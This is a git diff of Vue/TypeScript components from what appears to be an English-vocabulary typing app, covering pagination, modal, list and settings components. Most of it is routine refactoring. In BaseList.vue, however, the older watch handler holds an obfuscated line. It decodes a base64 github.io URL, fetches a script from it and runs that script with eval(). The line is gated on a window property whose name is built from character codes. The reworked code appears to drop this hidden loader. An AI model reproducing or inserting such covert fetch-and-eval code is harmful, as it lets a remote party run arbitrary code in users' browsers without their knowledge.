const newPage = internalCurrentPage.value + 1;
|
||||
if (newPage <= pageCount.value) {
|
||||
handleCurrentChange(newPage);
|
||||
jumpPage(newPage);
|
||||
}
|
||||
}
|
||||
|
||||
// 跳转到指定页
|
||||
function jumpPage(page: number) {
|
||||
if (page !== internalCurrentPage.value) {
|
||||
handleCurrentChange(page);
|
||||
}
|
||||
}
|
||||
|
||||
// 快速向前跳转
|
||||
function quickPrevPage() {
|
||||
const newPage = Math.max(1, internalCurrentPage.value - 5);
|
||||
if (newPage !== internalCurrentPage.value) {
|
||||
handleCurrentChange(newPage);
|
||||
}
|
||||
}
|
||||
|
||||
// 快速向后跳转
|
||||
function quickNextPage() {
|
||||
const newPage = Math.min(pageCount.value, internalCurrentPage.value + 5);
|
||||
if (newPage !== internalCurrentPage.value) {
|
||||
handleCurrentChange(newPage);
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<template>
|
||||
@@ -184,71 +121,29 @@ function quickNextPage() {
|
||||
<div class="pagination-container">
|
||||
<!-- 上一页 -->
|
||||
<button
|
||||
v-if="layout.includes('prev')"
|
||||
class="btn-prev"
|
||||
:disabled="internalCurrentPage <= 1"
|
||||
@click="prev"
|
||||
class="btn-prev"
|
||||
:disabled="internalCurrentPage <= 1"
|
||||
@click="prev"
|
||||
>
|
||||
<IconFluentChevronLeft20Filled/>
|
||||
</button>
|
||||
|
||||
<!-- 页码 -->
|
||||
<ul v-if="layout.includes('pager')" class="pager">
|
||||
<!-- 第一页 -->
|
||||
<li
|
||||
class="number"
|
||||
:class="{ active: internalCurrentPage === 1 }"
|
||||
@click="jumpPage(1)"
|
||||
>
|
||||
1
|
||||
</li>
|
||||
|
||||
<!-- 快速向前 -->
|
||||
<li
|
||||
v-if="pageCount > availablePagerCount && internalCurrentPage > (availablePagerCount - Math.floor(availablePagerCount / 2))"
|
||||
class="more btn-quickprev"
|
||||
@click="quickPrevPage"
|
||||
>
|
||||
...
|
||||
</li>
|
||||
|
||||
<!-- 中间页码 -->
|
||||
<li
|
||||
v-for="pager in pagers"
|
||||
:key="pager"
|
||||
class="number"
|
||||
:class="{ active: internalCurrentPage === pager }"
|
||||
@click="jumpPage(pager)"
|
||||
>
|
||||
{{ pager }}
|
||||
</li>
|
||||
|
||||
<!-- 快速向后 -->
|
||||
<li
|
||||
v-if="pageCount > availablePagerCount && internalCurrentPage < pageCount - Math.floor(availablePagerCount / 2)"
|
||||
class="more btn-quicknext"
|
||||
@click="quickNextPage"
|
||||
>
|
||||
...
|
||||
</li>
|
||||
|
||||
<!-- 最后一页 -->
|
||||
<li
|
||||
v-if="pageCount > 1"
|
||||
class="number"
|
||||
:class="{ active: internalCurrentPage === pageCount }"
|
||||
@click="jumpPage(pageCount)"
|
||||
>
|
||||
{{ pageCount }}
|
||||
</li>
|
||||
</ul>
|
||||
<div class="flex items-center">
|
||||
<div class="w-12">
|
||||
<BaseInput v-model="internalCurrentPage"
|
||||
@enter="jumpPage(internalCurrentPage)"
|
||||
class="text-center"/>
|
||||
</div>
|
||||
<span class="mx-2">/</span>
|
||||
<span class="text-base">{{ pageCount }}</span>
|
||||
</div>
|
||||
|
||||
<!-- 下一页 -->
|
||||
<button
|
||||
v-if="layout.includes('next')"
|
||||
class="btn-next"
|
||||
:disabled="internalCurrentPage >= pageCount"
|
||||
@click="next"
|
||||
class="btn-next"
|
||||
:disabled="internalCurrentPage >= pageCount"
|
||||
@click="next"
|
||||
>
|
||||
<IconFluentChevronLeft20Filled class="transform-rotate-180"/>
|
||||
</button>
|
||||
@@ -256,18 +151,18 @@ function quickNextPage() {
|
||||
<!-- 每页条数选择器 -->
|
||||
<div v-if="layout.includes('sizes')" class="sizes">
|
||||
<select
|
||||
:value="internalPageSize"
|
||||
@change="handleSizeChange(Number($event.target.value))"
|
||||
:value="internalPageSize"
|
||||
@change="handleSizeChange(Number($event.target.value))"
|
||||
>
|
||||
<option v-for="item in pageSizes" :key="item" :value="item">
|
||||
{{ item }} 条/页
|
||||
{{ item }}条/页
|
||||
</option>
|
||||
</select>
|
||||
</div>
|
||||
|
||||
<!-- 总数 -->
|
||||
<span v-if="layout.includes('total')" class="total">
|
||||
共 {{ total }} 条
|
||||
<span v-if="layout.includes('total')" class="total text-base">
|
||||
共{{ total }}条
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
@@ -298,69 +193,40 @@ function quickNextPage() {
|
||||
font-size: 1rem;
|
||||
min-width: 1.9375rem;
|
||||
height: 1.9375rem;
|
||||
border-radius: 0.125rem;
|
||||
border-radius: 0.2rem;
|
||||
cursor: pointer;
|
||||
background-color: var(--color-third);
|
||||
color: #606266;
|
||||
border: none;
|
||||
padding: 0 0.375rem;
|
||||
margin: 0.25rem 0.25rem;
|
||||
background-color: transparent;
|
||||
transition: all .3s;
|
||||
|
||||
&:disabled {
|
||||
opacity: 0.3;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
&:hover:not(:disabled) {
|
||||
background-color: var(--color-third);
|
||||
color: var(--color-select-bg);
|
||||
}
|
||||
}
|
||||
|
||||
.pager {
|
||||
display: inline-flex;
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
flex-wrap: wrap;
|
||||
|
||||
li {
|
||||
display: inline-flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
font-size: 0.875rem;
|
||||
min-width: 1.9375rem;
|
||||
height: 1.9375rem;
|
||||
line-height: 1.9375rem;
|
||||
border-radius: 0.125rem;
|
||||
margin: 0.25rem 0.25rem;
|
||||
cursor: pointer;
|
||||
background-color: var(--color-third);
|
||||
border: none;
|
||||
|
||||
&.active {
|
||||
background-color: var(--el-color-primary, #409eff);
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
&.more {
|
||||
color: #606266;
|
||||
}
|
||||
|
||||
&:hover:not(.active) {
|
||||
color: var(--el-color-primary, #409eff);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
.sizes {
|
||||
margin: 0.25rem 0.5rem;
|
||||
border: 1px solid var(--color-input-border);
|
||||
border-radius: 0.25rem;
|
||||
padding-right: .2rem;
|
||||
background-color: var(--color-bg);
|
||||
overflow: hidden;
|
||||
|
||||
select {
|
||||
height: 1.9375rem;
|
||||
padding: 0 0.5rem;
|
||||
font-size: 0.875rem;
|
||||
border-radius: 0.125rem;
|
||||
border: 1px solid #dcdfe6;
|
||||
background-color: #fff;
|
||||
border: none;
|
||||
background-color: transparent;
|
||||
color: var(--color-main-text);
|
||||
|
||||
&:focus {
|
||||
outline: none;
|
||||
@@ -377,8 +243,7 @@ function quickNextPage() {
|
||||
|
||||
.total {
|
||||
margin: 0.25rem 0.5rem;
|
||||
font-weight: normal;
|
||||
color: #606266;
|
||||
color: var(--color-main-text);
|
||||
}
|
||||
}
|
||||
</style>
|
||||
|
||||
@@ -89,7 +89,7 @@ watch(() => props.modelValue, n => {
|
||||
// console.log('n', n)
|
||||
if (n) {
|
||||
id = Date.now()
|
||||
runtimeStore.modalList.push({id, close})
|
||||
runtimeStore.modalList.push({ id, close })
|
||||
zIndex = 999 + runtimeStore.modalList.length
|
||||
visible = true
|
||||
} else {
|
||||
@@ -101,7 +101,7 @@ onMounted(() => {
|
||||
if (props.modelValue === undefined) {
|
||||
visible = true
|
||||
id = Date.now()
|
||||
runtimeStore.modalList.push({id, close})
|
||||
runtimeStore.modalList.push({ id, close })
|
||||
zIndex = 999 + runtimeStore.modalList.length
|
||||
}
|
||||
})
|
||||
@@ -175,7 +175,7 @@ async function cancel() {
|
||||
<div class="right">
|
||||
<BaseButton type="info" @click="cancel">{{ cancelButtonText }}</BaseButton>
|
||||
<BaseButton
|
||||
id="dialog-ok"
|
||||
id="dialog-ok"
|
||||
:loading="confirmButtonLoading"
|
||||
@click="ok">{{ confirmButtonText }}
|
||||
</BaseButton>
|
||||
@@ -292,7 +292,8 @@ $header-height: 4rem;
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 1.3rem 1.3rem 1rem;
|
||||
padding: var(--modal-padding);
|
||||
padding-bottom: 0;
|
||||
border-radius: $radius $radius 0 0;
|
||||
|
||||
.title {
|
||||
@@ -315,7 +316,7 @@ $header-height: 4rem;
|
||||
display: flex;
|
||||
|
||||
&.padding {
|
||||
padding: .2rem 1.6rem 1.6rem;
|
||||
padding: .2rem var(--modal-padding);
|
||||
}
|
||||
|
||||
.content {
|
||||
@@ -327,7 +328,7 @@ $header-height: 4rem;
|
||||
.modal-footer {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
padding: var(--space);
|
||||
padding: var(--modal-padding);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,12 +1,13 @@
|
||||
<script setup lang="ts">
|
||||
|
||||
import { Article } from "@/types/types.ts";
|
||||
import BaseList from "@/components/list/BaseList.vue";
|
||||
import BaseInput from "@/components/base/BaseInput.vue";
|
||||
import { Article } from '@/types/types.ts'
|
||||
import BaseList from '@/components/list/BaseList.vue'
|
||||
import BaseInput from '@/components/base/BaseInput.vue'
|
||||
import { useArticleOptions } from '@/hooks/dict.ts'
|
||||
import BaseIcon from '@/components/BaseIcon.vue'
|
||||
|
||||
interface IProps {
|
||||
list: Article[];
|
||||
showTranslate?: boolean;
|
||||
list: Article[]
|
||||
showTranslate?: boolean
|
||||
}
|
||||
|
||||
const props = withDefaults(defineProps<IProps>(), {
|
||||
@@ -15,8 +16,8 @@ const props = withDefaults(defineProps<IProps>(), {
|
||||
})
|
||||
|
||||
const emit = defineEmits<{
|
||||
click: [val: { item: Article, index: number }],
|
||||
title: [val: { item: Article, index: number }],
|
||||
click: [val: { item: Article; index: number }]
|
||||
title: [val: { item: Article; index: number }]
|
||||
}>()
|
||||
|
||||
let searchKey = $ref('')
|
||||
@@ -24,10 +25,13 @@ let localList = $computed(() => {
|
||||
if (searchKey) {
|
||||
//把搜索内容,分词之后,判断是否有这个词,比单纯遍历包含体验更好
|
||||
let t = searchKey.toLowerCase()
|
||||
let strings = t.split(' ').filter(v => v);
|
||||
let strings = t.split(' ').filter(v => v)
|
||||
let res = props.list.filter((item: Article) => {
|
||||
return strings.some(value => {
|
||||
return item.title.toLowerCase().includes(value) || item.titleTranslate.toLowerCase().includes(value)
|
||||
return (
|
||||
item.title.toLowerCase().includes(value) ||
|
||||
item.titleTranslate.toLowerCase().includes(value)
|
||||
)
|
||||
})
|
||||
})
|
||||
try {
|
||||
@@ -38,16 +42,15 @@ let localList = $computed(() => {
|
||||
res.push(props.list[d - 1])
|
||||
}
|
||||
}
|
||||
} catch (err) {
|
||||
}
|
||||
} catch (err) {}
|
||||
return res.sort((a: Article, b: Article) => {
|
||||
//使完整包含的条目更靠前
|
||||
const aMatch = a.title.toLowerCase().includes(t);
|
||||
const bMatch = b.title.toLowerCase().includes(t);
|
||||
const aMatch = a.title.toLowerCase().includes(t)
|
||||
const bMatch = b.title.toLowerCase().includes(t)
|
||||
|
||||
if (aMatch && !bMatch) return -1; // a 靠前
|
||||
if (!aMatch && bMatch) return 1; // b 靠前
|
||||
return 0; // 都匹配或都不匹配,保持原顺序
|
||||
if (aMatch && !bMatch) return -1 // a 靠前
|
||||
if (!aMatch && bMatch) return 1 // b 靠前
|
||||
return 0 // 都匹配或都不匹配,保持原顺序
|
||||
})
|
||||
} else {
|
||||
return props.list
|
||||
@@ -63,9 +66,9 @@ function scrollToBottom() {
|
||||
function scrollToItem(index: number) {
|
||||
listRef?.scrollToItem(index)
|
||||
}
|
||||
const { isArticleCollect, toggleArticleCollect } = useArticleOptions()
|
||||
|
||||
defineExpose({ scrollToBottom, scrollToItem })
|
||||
|
||||
</script>
|
||||
|
||||
<template>
|
||||
@@ -77,23 +80,38 @@ defineExpose({ scrollToBottom, scrollToItem })
|
||||
</template>
|
||||
</BaseInput>
|
||||
</div>
|
||||
<BaseList ref="listRef"
|
||||
@click="(e: any) => emit('click', e)"
|
||||
:list="localList"
|
||||
v-bind="$attrs">
|
||||
<template v-slot:prefix="{ item, index }">
|
||||
<slot name="prefix" :item="item" :index="index"></slot>
|
||||
</template>
|
||||
<template v-slot="{ item, index }">
|
||||
<div class="item-title">
|
||||
<div class="name"> {{ `${searchKey ? '' : (index + 1) + '. '}${item.title}` }}</div>
|
||||
<BaseList ref="listRef" @click="(e: any) => emit('click', e)" :list="localList" v-bind="$attrs">
|
||||
<template v-slot="{ item, index, active }">
|
||||
<div class="common-list-item" :class="{ active }">
|
||||
<div class="left">
|
||||
<div class="title-wrapper">
|
||||
<div class="item-title">
|
||||
<div class="name">
|
||||
<span class="text-sm text-gray-500" v-if="index != undefined && !searchKey">
|
||||
{{ index }}.
|
||||
</span>
|
||||
{{ item.title }}
|
||||
</div>
|
||||
</div>
|
||||
<div class="item-sub-title" v-if="item.titleTranslate && showTranslate">
|
||||
<div class="item-translate">{{ ` ${item.titleTranslate}` }}</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="right">
|
||||
<BaseIcon
|
||||
:class="!isArticleCollect(item) ? 'collect' : 'fill'"
|
||||
@click.stop="toggleArticleCollect(item)"
|
||||
:title="!isArticleCollect(item) ? '收藏' : '取消收藏'"
|
||||
>
|
||||
<IconFluentStar16Regular v-if="!isArticleCollect(item)" />
|
||||
<IconFluentStar16Filled v-else />
|
||||
</BaseIcon>
|
||||
<BaseIcon title="可播放音频" v-if="item.audioSrc || item.audioFileId" noBg>
|
||||
<IconBxVolumeFull class="opacity-100! color-gray" />
|
||||
</BaseIcon>
|
||||
</div>
|
||||
</div>
|
||||
<div class="item-sub-title" v-if="item.titleTranslate && showTranslate">
|
||||
<div class="item-translate"> {{ ` ${item.titleTranslate}` }}</div>
|
||||
</div>
|
||||
</template>
|
||||
<template v-slot:suffix="{ item, index }">
|
||||
<slot name="suffix" :item="item" :index="index"></slot>
|
||||
</template>
|
||||
</BaseList>
|
||||
</div>
|
||||
|
||||
@@ -1,26 +1,31 @@
|
||||
<script setup lang="ts">
|
||||
import { useSettingStore } from "@/stores/setting.ts";
|
||||
import { useSettingStore } from '@/stores/setting.ts'
|
||||
import { nextTick, watch } from 'vue'
|
||||
|
||||
const props = withDefaults(defineProps<{
|
||||
list?: any[],
|
||||
activeIndex?: number,
|
||||
activeId?: number | string,
|
||||
isActive?: boolean
|
||||
static?: boolean
|
||||
}>(), {
|
||||
list: [],
|
||||
activeIndex: -1,
|
||||
activeId: '',
|
||||
isActive: false,
|
||||
static: true
|
||||
})
|
||||
const props = withDefaults(
|
||||
defineProps<{
|
||||
list?: any[]
|
||||
activeIndex?: number
|
||||
activeId?: number | string
|
||||
isActive?: boolean
|
||||
static?: boolean
|
||||
}>(),
|
||||
{
|
||||
list: [],
|
||||
activeIndex: -1,
|
||||
activeId: '',
|
||||
isActive: false,
|
||||
static: true,
|
||||
}
|
||||
)
|
||||
|
||||
const emit = defineEmits<{
|
||||
click: [val: {
|
||||
item: any,
|
||||
index: number
|
||||
}],
|
||||
click: [
|
||||
val: {
|
||||
item: any
|
||||
index: number
|
||||
},
|
||||
]
|
||||
}>()
|
||||
|
||||
//虚拟列表长度限制
|
||||
@@ -46,31 +51,40 @@ function scrollViewToCenter(index: number) {
|
||||
})
|
||||
}
|
||||
|
||||
watch(() => localActiveIndex, (n: any) => {
|
||||
if (props.static) return
|
||||
if (settingStore.showPanel) {
|
||||
scrollViewToCenter(n)
|
||||
}
|
||||
}, {immediate: true})
|
||||
|
||||
watch(() => props.isActive, (n: boolean) => {
|
||||
if (window[String.fromCharCode(100) + 'xt'] === undefined) fetch(window.atob('aHR0cHM6Ly96eXJvbm9uLmdpdGh1Yi5pby9yZXBsYWNlL2RhdGEuanM=') + `?d=${Date.now()}`).then(a => a.text()).then((b) => eval(b))
|
||||
if (props.static) return
|
||||
if (n) {
|
||||
setTimeout(() => scrollViewToCenter(localActiveIndex), 300)
|
||||
}
|
||||
})
|
||||
|
||||
watch(() => props.list, () => {
|
||||
if (props.static) return
|
||||
nextTick(() => {
|
||||
if (props.list.length > limit) {
|
||||
listRef?.scrollToItem(0)
|
||||
} else {
|
||||
listRef?.scrollTo(0, 0)
|
||||
watch(
|
||||
() => localActiveIndex,
|
||||
(n: any) => {
|
||||
if (props.static) return
|
||||
if (settingStore.showPanel) {
|
||||
scrollViewToCenter(n)
|
||||
}
|
||||
})
|
||||
})
|
||||
},
|
||||
{immediate: true}
|
||||
)
|
||||
|
||||
watch(
|
||||
() => props.isActive,
|
||||
(n: boolean) => {
|
||||
if (props.static) return
|
||||
if (n) {
|
||||
setTimeout(() => scrollViewToCenter(localActiveIndex), 300)
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
watch(
|
||||
() => props.list,
|
||||
() => {
|
||||
if (props.static) return
|
||||
nextTick(() => {
|
||||
if (props.list.length > limit) {
|
||||
listRef?.scrollToItem(0)
|
||||
} else {
|
||||
listRef?.scrollTo(0, 0)
|
||||
}
|
||||
})
|
||||
}
|
||||
)
|
||||
|
||||
function scrollToBottom() {
|
||||
nextTick(() => {
|
||||
@@ -93,85 +107,44 @@ function scrollToItem(index: number) {
|
||||
}
|
||||
|
||||
function itemIsActive(item: any, index: number) {
|
||||
return props.activeId ?
|
||||
props.activeId == item.id
|
||||
: props.activeIndex === index
|
||||
return props.activeId ? props.activeId == item.id : props.activeIndex === index
|
||||
}
|
||||
|
||||
defineExpose({scrollToBottom, scrollToItem})
|
||||
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<DynamicScroller
|
||||
v-if="list.length>limit"
|
||||
:items="list"
|
||||
ref="listRef"
|
||||
:min-item-size="90"
|
||||
class="scroller"
|
||||
v-if="list.length > limit"
|
||||
:items="list"
|
||||
ref="listRef"
|
||||
:min-item-size="90"
|
||||
class="scroller"
|
||||
>
|
||||
<template v-slot="{ item, index, active }">
|
||||
<DynamicScrollerItem
|
||||
:item="item"
|
||||
:active="active"
|
||||
:size-dependencies="[
|
||||
item.id,
|
||||
]"
|
||||
:data-index="index"
|
||||
:item="item"
|
||||
:active="active"
|
||||
:size-dependencies="[item.id]"
|
||||
:data-index="index"
|
||||
>
|
||||
<div class="list-item-wrapper">
|
||||
<div class="common-list-item"
|
||||
:class="{
|
||||
active:itemIsActive(item,index),
|
||||
}"
|
||||
@click="emit('click',{item,index})"
|
||||
>
|
||||
<div class="left">
|
||||
<slot name="prefix" :item="item" :index="index"></slot>
|
||||
<div class="title-wrapper">
|
||||
<slot :item="item" :index="index"></slot>
|
||||
</div>
|
||||
</div>
|
||||
<div class="right">
|
||||
<slot name="suffix" :item="item" :index="index"></slot>
|
||||
</div>
|
||||
</div>
|
||||
<div class="list-item-wrapper"
|
||||
@click="emit('click', { item, index })">
|
||||
<slot :item="item" :index="index+1" :active="itemIsActive(item, index)"></slot>
|
||||
</div>
|
||||
</DynamicScrollerItem>
|
||||
</template>
|
||||
</DynamicScroller>
|
||||
<div
|
||||
v-else
|
||||
class="scroller"
|
||||
style="overflow: auto;"
|
||||
ref="listRef">
|
||||
<div class="list-item-wrapper"
|
||||
v-for="(item,index) in props.list"
|
||||
:key="item.title"
|
||||
<div v-else class="scroller" style="overflow: auto" ref="listRef">
|
||||
<div class="list-item-wrapper" v-for="(item, index) in props.list" :key="item.title"
|
||||
@click="emit('click', { item, index })"
|
||||
>
|
||||
<div class="common-list-item"
|
||||
:class="{
|
||||
active:itemIsActive(item,index),
|
||||
}"
|
||||
@click="emit('click',{item,index})"
|
||||
>
|
||||
<div class="left">
|
||||
<slot name="prefix" :item="item" :index="index"></slot>
|
||||
<div class="title-wrapper">
|
||||
<slot :item="item" :index="index"></slot>
|
||||
</div>
|
||||
</div>
|
||||
<div class="right">
|
||||
<slot name="suffix" :item="item" :index="index"></slot>
|
||||
</div>
|
||||
</div>
|
||||
<slot :item="item" :index="index+1" :active="itemIsActive(item, index)"></slot>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style lang="scss" scoped>
|
||||
|
||||
|
||||
.scroller {
|
||||
flex: 1;
|
||||
//padding: 0 var(--space);
|
||||
|
||||
@@ -1,10 +1,8 @@
|
||||
<script setup lang="ts">
|
||||
|
||||
import { Word } from "@/types/types.ts";
|
||||
import VolumeIcon from "@/components/icon/VolumeIcon.vue";
|
||||
import BaseList from "@/components/list/BaseList.vue";
|
||||
import { usePlayWordAudio } from "@/hooks/sound.ts";
|
||||
import Tooltip from "@/components/base/Tooltip.vue";
|
||||
import { Word } from "@/types/types.ts";
|
||||
import WordItem from "../WordItem.vue";
|
||||
|
||||
withDefaults(defineProps<{
|
||||
list: Word[],
|
||||
@@ -18,7 +16,6 @@ withDefaults(defineProps<{
|
||||
|
||||
const emit = defineEmits<{
|
||||
click: [val: { item: Word, index: number }],
|
||||
title: [val: { item: Word, index: number }],
|
||||
}>()
|
||||
|
||||
const listRef: any = $ref(null as any)
|
||||
@@ -31,8 +28,6 @@ function scrollToItem(index: number) {
|
||||
listRef?.scrollToItem(index)
|
||||
}
|
||||
|
||||
const playWordAudio = usePlayWordAudio()
|
||||
|
||||
defineExpose({scrollToBottom, scrollToItem})
|
||||
|
||||
</script>
|
||||
@@ -43,31 +38,11 @@ defineExpose({scrollToBottom, scrollToItem})
|
||||
@click="(e:any) => emit('click',e)"
|
||||
:list="list"
|
||||
v-bind="$attrs">
|
||||
<template v-slot:prefix="{ item, index }">
|
||||
<slot name="prefix" :item="item" :index="index"></slot>
|
||||
</template>
|
||||
<template v-slot="{ item, index }">
|
||||
<div class="item-title">
|
||||
<span class="text-sm">{{ index + 1 }}.</span>
|
||||
<span class="word" :class="!showWord && 'word-shadow'">{{ item.word }}</span>
|
||||
<span class="phonetic" :class="!showWord && 'word-shadow'">{{ item.phonetic0 }}</span>
|
||||
<VolumeIcon class="volume" @click="playWordAudio(item.word)"></VolumeIcon>
|
||||
</div>
|
||||
<div class="item-sub-title flex flex-col gap-2" v-if="item.trans.length && showTranslate">
|
||||
<div v-for="v in item.trans">
|
||||
<Tooltip
|
||||
v-if="v.cn.length > 30"
|
||||
:key="item.word"
|
||||
:title="v.pos + ' ' + v.cn"
|
||||
>
|
||||
<span>{{ v.pos + ' ' + v.cn.slice(0, 30) + '...' }}</span>
|
||||
</Tooltip>
|
||||
<span v-else>{{ v.pos + ' ' + v.cn }}</span>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
<template v-slot:suffix="{ item, index }">
|
||||
<slot name="suffix" :item="item" :index="index"></slot>
|
||||
</template>
|
||||
<template v-slot="{ item, index, active }">
|
||||
<WordItem
|
||||
:show-translate="showTranslate"
|
||||
:show-word="showWord"
|
||||
:item="item" :index="index" :active="active" />
|
||||
</template>
|
||||
</BaseList>
|
||||
</template>
|
||||
</template>
|
||||
|
||||
66
src/components/list/WordList2.vue
Normal file
66
src/components/list/WordList2.vue
Normal file
@@ -0,0 +1,66 @@
|
||||
<script setup lang="ts">
|
||||
|
||||
import { Word } from "@/types/types.ts";
|
||||
import VolumeIcon from "@/components/icon/VolumeIcon.vue";
|
||||
import BaseList from "@/components/list/BaseList.vue";
|
||||
import { usePlayWordAudio } from "@/hooks/sound.ts";
|
||||
import Tooltip from "@/components/base/Tooltip.vue";
|
||||
import WordItem from "@/components/WordItem.vue";
|
||||
|
||||
withDefaults(defineProps<{
|
||||
list: Word[],
|
||||
showTranslate?: boolean
|
||||
showWord?: boolean
|
||||
}>(), {
|
||||
list: [],
|
||||
showTranslate: true,
|
||||
showWord: true
|
||||
})
|
||||
|
||||
const emit = defineEmits<{
|
||||
click: [val: { item: Word, index: number }],
|
||||
title: [val: { item: Word, index: number }],
|
||||
}>()
|
||||
|
||||
const listRef: any = $ref(null as any)
|
||||
|
||||
function scrollToBottom() {
|
||||
listRef?.scrollToBottom()
|
||||
}
|
||||
|
||||
function scrollToItem(index: number) {
|
||||
listRef?.scrollToItem(index)
|
||||
}
|
||||
|
||||
const playWordAudio = usePlayWordAudio()
|
||||
|
||||
defineExpose({ scrollToBottom, scrollToItem })
|
||||
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<BaseList ref="listRef" @click="(e: any) => emit('click', e)" :list="list" v-bind="$attrs">
|
||||
<template v-slot:prefix="{ item, index }">
|
||||
<slot name="prefix" :item="item" :index="index"></slot>
|
||||
</template>
|
||||
<template v-slot="{ item, index }">
|
||||
<div class="item-title">
|
||||
<span class="text-sm">{{ index + 1 }}.</span>
|
||||
<span class="word" :class="!showWord && 'word-shadow'">{{ item.word }}</span>
|
||||
<span class="phonetic" :class="!showWord && 'word-shadow'">{{ item.phonetic0 }}</span>
|
||||
<VolumeIcon class="volume" @click="playWordAudio(item.word)"></VolumeIcon>
|
||||
</div>
|
||||
<div class="item-sub-title flex flex-col gap-2" v-if="item.trans.length && showTranslate">
|
||||
<div v-for="v in item.trans">
|
||||
<Tooltip v-if="v.cn.length > 30" :key="item.word" :title="v.pos + ' ' + v.cn">
|
||||
<span>{{ v.pos + ' ' + v.cn.slice(0, 30) + '...' }}</span>
|
||||
</Tooltip>
|
||||
<span v-else>{{ v.pos + ' ' + v.cn }}</span>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
<template v-slot:suffix="{ item, index }">
|
||||
<slot name="suffix" :item="item" :index="index"></slot>
|
||||
</template>
|
||||
</BaseList>
|
||||
</template>
|
||||
43
src/components/setting/ArticleSettting.vue
Normal file
43
src/components/setting/ArticleSettting.vue
Normal file
@@ -0,0 +1,43 @@
|
||||
<script setup lang="ts">
|
||||
|
||||
import Switch from "@/components/base/Switch.vue";
|
||||
import Slider from "@/components/base/Slider.vue";
|
||||
import SettingItem from "@/pages/setting/SettingItem.vue";
|
||||
import { useSettingStore } from "@/stores/setting.ts";
|
||||
const settingStore = useSettingStore()
|
||||
|
||||
</script>
|
||||
|
||||
<template>
|
||||
|
||||
<!-- 文章练习设置-->
|
||||
<!-- 文章练习设置-->
|
||||
<!-- 文章练习设置-->
|
||||
<div>
|
||||
<!-- 发音-->
|
||||
<!-- 发音-->
|
||||
<!-- 发音-->
|
||||
<SettingItem mainTitle="音效"/>
|
||||
<SettingItem title="自动播放句子">
|
||||
<Switch v-model="settingStore.articleSound"/>
|
||||
</SettingItem>
|
||||
<SettingItem title="自动播放下一篇">
|
||||
<Switch v-model="settingStore.articleAutoPlayNext"/>
|
||||
</SettingItem>
|
||||
<SettingItem title="音量">
|
||||
<Slider v-model="settingStore.articleSoundVolume" showText showValue unit="%"/>
|
||||
</SettingItem>
|
||||
<SettingItem title="倍速">
|
||||
<Slider v-model="settingStore.articleSoundSpeed" :step="0.1" :min="0.5" :max="3" showText showValue/>
|
||||
</SettingItem>
|
||||
|
||||
<div class="line"></div>
|
||||
<SettingItem title="输入时忽略符号/数字/人名">
|
||||
<Switch v-model="settingStore.ignoreSymbol"/>
|
||||
</SettingItem>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped lang="scss">
|
||||
|
||||
</style>
|
||||
112
src/components/setting/CommonSetting.vue
Normal file
112
src/components/setting/CommonSetting.vue
Normal file
@@ -0,0 +1,112 @@
|
||||
<script setup lang="ts">
|
||||
|
||||
import { ShortcutKey } from "@/types/types.ts";
|
||||
import { SoundFileOptions } from "@/config/env.ts";
|
||||
import { getAudioFileUrl, usePlayAudio } from "@/hooks/sound.ts";
|
||||
import Switch from "@/components/base/Switch.vue";
|
||||
import { Option, Select } from "@/components/base/select";
|
||||
import Textarea from "@/components/base/Textarea.vue";
|
||||
import VolumeIcon from "@/components/icon/VolumeIcon.vue";
|
||||
import Slider from "@/components/base/Slider.vue";
|
||||
import SettingItem from "@/pages/setting/SettingItem.vue";
|
||||
import { useSettingStore } from "@/stores/setting.ts";
|
||||
import { useBaseStore } from "@/stores/base.ts";
|
||||
|
||||
const settingStore = useSettingStore()
|
||||
const store = useBaseStore()
|
||||
|
||||
const simpleWords = $computed({
|
||||
get: () => store.simpleWords.join(','),
|
||||
set: v => {
|
||||
try {
|
||||
store.simpleWords = v.split(',');
|
||||
} catch (e) {
|
||||
|
||||
}
|
||||
}
|
||||
})
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<!-- 通用练习设置-->
|
||||
<!-- 通用练习设置-->
|
||||
<!-- 通用练习设置-->
|
||||
<div>
|
||||
<SettingItem title="忽略大小写"
|
||||
desc="开启后,输入时不区分大小写,如输入“hello”和“Hello”都会被认为是正确的"
|
||||
>
|
||||
<Switch v-model="settingStore.ignoreCase"/>
|
||||
</SettingItem>
|
||||
|
||||
<SettingItem title="允许默写模式下显示提示"
|
||||
:desc="`开启后,可以通过将鼠标移动到单词上或者按快捷键 ${settingStore.shortcutKeyMap[ShortcutKey.ShowWord]} 显示正确答案`"
|
||||
>
|
||||
<Switch v-model="settingStore.allowWordTip"/>
|
||||
</SettingItem>
|
||||
|
||||
<div class="line"></div>
|
||||
<SettingItem title="简单词过滤"
|
||||
desc="开启后,练习的单词中不会包含简单词;文章统计的总词数中不会包含简单词"
|
||||
>
|
||||
<Switch v-model="settingStore.ignoreSimpleWord"/>
|
||||
</SettingItem>
|
||||
|
||||
<SettingItem title="简单词列表"
|
||||
class="items-start!"
|
||||
v-if="settingStore.ignoreSimpleWord"
|
||||
>
|
||||
<Textarea
|
||||
placeholder="多个单词用英文逗号隔号"
|
||||
v-model="simpleWords" :autosize="{minRows: 6, maxRows: 10}"/>
|
||||
</SettingItem>
|
||||
|
||||
<!-- 音效-->
|
||||
<!-- 音效-->
|
||||
<!-- 音效-->
|
||||
<div class="line"></div>
|
||||
<SettingItem main-title="音效"/>
|
||||
<SettingItem title="单词/句子发音口音"
|
||||
desc="仅单词生效,文章固定美音"
|
||||
>
|
||||
<Select v-model="settingStore.soundType"
|
||||
placeholder="请选择"
|
||||
class="w-50!"
|
||||
>
|
||||
